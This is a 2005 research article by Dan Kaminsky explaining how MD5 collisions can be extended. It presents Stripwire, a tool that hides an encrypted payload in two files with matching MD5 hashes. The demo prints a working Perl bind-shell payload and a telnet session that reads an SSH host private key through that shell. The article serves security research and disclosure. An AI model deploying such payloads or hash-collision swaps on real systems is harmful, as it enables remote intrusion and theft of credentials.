MD5 To Be Considered Harmful Someday

{LANG_NAVORIGIN} Encryption
By: Dan Kaminsky, 03/04/2005

Extending the Attack

To see how this relatively obscure new mode can cause problems, it is necessary to understand how MD5 works. In what's referred to as a Merkle-Damgard construction, MD5 starts with an arbitrary initial state 128 bits in length. 512 bits of input data are "stirred" into this 128 bit state, with a new, massively shuffled 128 bit value as the result. 512 more bits are constantly stirred in, over and over, until there's no further data. 64 bits more are appended to the data stream to explicitly reflect the amount of data being hashed with another round of MD5 being done if need be (if there wasn't enough room in a previous round to hash in that 64 bits), and the final 128 bit value after all the stirring is complete is christened the MD5 hash.

Now, amongst the cryptological community there is a well known failure mode to the this particular construction: If at any point in the cascade two different datasets are stirred into equal 128 bit values, arbitrary data can be appended to both datasets and their hashes will remain equal. In mathematical terms, using the "+" sign to refer to concatenation and assuming length(x) and length(y) both evenly divide into the 64 byte blocksize of MD5, if md5(x)=md5(y), then md5(x+q)=md5(y+q).

It's relatively straightforward to see why this occurs: Files are read in 512 bits at a time with each block summarized into only what can fit inside the 128 bit value. Once two deviant datasets collide to the same 128 bit value, anything added on after the fact is too late -- MD5 may be a chaotic and nonlinear function, but from the same seed, the chaotic linearity between the two datasets will remain forever synchronized with the early difference forever cloaked.

The original attack gives us our two deviant datasets. This extension shows us how we can append arbitrary data after the datasets and still retain collision. Stripwire demonstrates how we can convert this collision into an applied attack.

Stripwire

We begin by defining two files, "vec1" and "vec2", as the proof-of-concept test vectors released by Wang. Vec1 and Vec2 have the same MD5 hash but differ by six bits out of 1024. We also define "payload" as some arbitrary string of commands to be executed. The "encrypted payload" is simply the AES encrypted representation of payload, using the SHA-1 of vec1 as the key. (It is useful to note that while vec1 and vec2 do share the same MD5 hash, they do not in this case share the same SHA-1 hash.)

We now define two more files, "Fire" and "Ice". Fire is simply vec1 with the encrypted payload appended to it, while Ice is vec2 with the encrypted payload attached. Only six bits separate Fire and Ice but this small deviation is critical. Fire contains vec1, which can be easily hashed to acquire the key to the encrypted payload. Ice contains vec2, which can be run through the SHA-1 hash but yields a useless value that fails to decrypt the payload. So while Fire easily exposes the means to burn the system, Ice's payload remains frozen in its AES-enforced shell.¹

Fire burns. Ice remains frozen. Fire and Ice have the same MD5 hash. Returning to the math, the encrypted payload is q; it is a constant payload appended to the x and y of colliding sets. Through this mechanism Ice and Fire can be exchanged at will, and as far as MD5 is concerned, nothing ever happened.

This is not theoretical. It looks like this:

Demo

Stripwire itself has been designed to be as readable as possible; for some readers its source code will be much better documentation than this paper. For those seeking to reimplement the attack from this document alone, the two test vectors are as follows:

$vec1 = h2b("

d1	31	dd	02	c5	e6	ee	c4	69	3d	9a	06	98	af	f9	5c
2f	ca	b5	87	12	46	7e	ab	40	04	58	3e	b8	fb	7f	89
55	ad	34	06	09	f4	b3	02	83	e4	88	83	25	71	41	5a
08	51	25	e8	f7	cd	c9	9f	d9	1d	bd	f2	80	37	3c	5b
d8	82	3e	31	56	34	8f	5b	ae	6d	ac	d4	36	c9	19	c6
dd	53	e2	b4	87	da	03	fd	02	39	63	06	d2	48	cd	a0
e9	9f	33	42	0f	57	7e	e8	ce	54	b6	70	80	a8	0d	1e
c6	98	21	bc	b6	a8	83	93	96	f9	65	2b	6f	f7	2a	70

");
$vec2 = h2b("

d1	31	dd	02	c5	e6	ee	c4	69	3d	9a	06	98	af	f9	5c
2f	ca	b5	07	12	46	7e	ab	40	04	58	3e	b8	fb	7f	89
55	ad	34	06	09	f4	b3	02	83	e4	88	83	25	f1	41	5a
08	51	25	e8	f7	cd	c9	9f	d9	1d	bd	72	80	37	3c	5b
d8	82	3e	31	56	34	8f	5b	ae	6d	ac	d4	36	c9	19	c6
dd	53	e2	34	87	da	03	fd	02	39	63	06	d2	48	cd	a0
e9	9f	33	42	0f	57	7e	e8	ce	54	b6	70	80	28	0d	1e
c6	98	21	bc	b6	a8	83	93	96	f9	65	ab	6f	f7	2a	70

");

A line has been inserted between the two 64 byte MD5 blocks and bytes with deviant bits have been highlighted. For example, the byte set to "87" in vec1 is set to "07" in vec2. It's worth noticing that the changes within each vector are repeated, in the same position, between their first block and their second block.

Now onto our payload. Our payload to be encrypted may be of arbitrary size; for the purposes of this paper we will demonstrate a bare-bones application that opens a pseudoshell on an arbitrary port.

$ cat backlash.pl 
#!/usr/bin/perl
# Backlash:  Open a pseudoshell on port 50023
#   Author:  Samy Kamkar, www.lucidx.com

use IO;
while(1){
   while($c=new IO::Socket::INET(LocalPort,
         50023,Reuse,1,Listen)->accept){
            $~->fdopen($c,w);
            STDIN->fdopen($c,r);
            system$_ while<>;
   }
}

First we generate Fire and Ice.

$ ./stripwire.pl -v -b backlash.pl
fire.bin: md5  = 4df01ec3a18df7d7d6cdf8e16e98cd99
ice.bin:  md5  = 4df01ec3a18df7d7d6cdf8e16e98cd99
fire.bin: sha1 = a7f6ebb805ac595e4553f84cb9ec40865cc11e08
ice.bin:  sha1 = 85f602de91440cd877c7393f2a58b5f0d72cbc35

Note, their md5sum's match, but not their sha1sums. And of course they share the same filesize.

$ ls -l fire.bin ice.bin 
-rw-r--r--    1 kaminsky mkgroup_      496 Nov 30 20:50 fire.bin
-rw-r--r--    1 kaminsky mkgroup_      496 Nov 30 20:50 

Binary comparison cannot be fooled.

$ diff fire.bin ice.bin 
Files fire.bin and ice.bin differ

Stripwire contains the execution harness for Fire and Ice. When we run it against Ice...

$ ./stripwire.pl -v -r ice.bin 
Unable to decrypt file: ice.bin

Failure. Fire is another story:

$ ./stripwire.pl -v -r fire.bin &
[1] 1420
$ telnet 127.0.0.1 50023
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
cat /etc/ssh_host_dsa_key_demo
-----BEGIN DSA PRIVATE KEY-----
MIH5AgEAAkEAlcTshGgpYY0eQgRBJRyQCrBDgXhFWFTbxazsgbrKiebh1aal4ET6
vPYZ7/OlPbrKxwMnX5mcEHywmEhOcK00pwIVAJyQ0ZlkpRPr2eJWz/ECgr1XgUvP
AkBWeUy6MJHApO5sF+T0V7vs319fGvw0j8dthueQ2pAZHJl063SC2n9JkaMZRHEn
J7c04xMEHnFdmIvxTNFCavKZAkEAieVtNTFNNV7SIf0m4z60mJ1Hz3zj50R7ih1S
SxPon+IxzKsoAEP9JkyjS67+HBQGpowxNuukOFaqDwl1gclGfwIVAJuPpSn6yj2e
z5m7aTzZ72B131h8
-----END DSA PRIVATE KEY-----

Your IP address will be sent with this e-mail

From e-mail to e-mail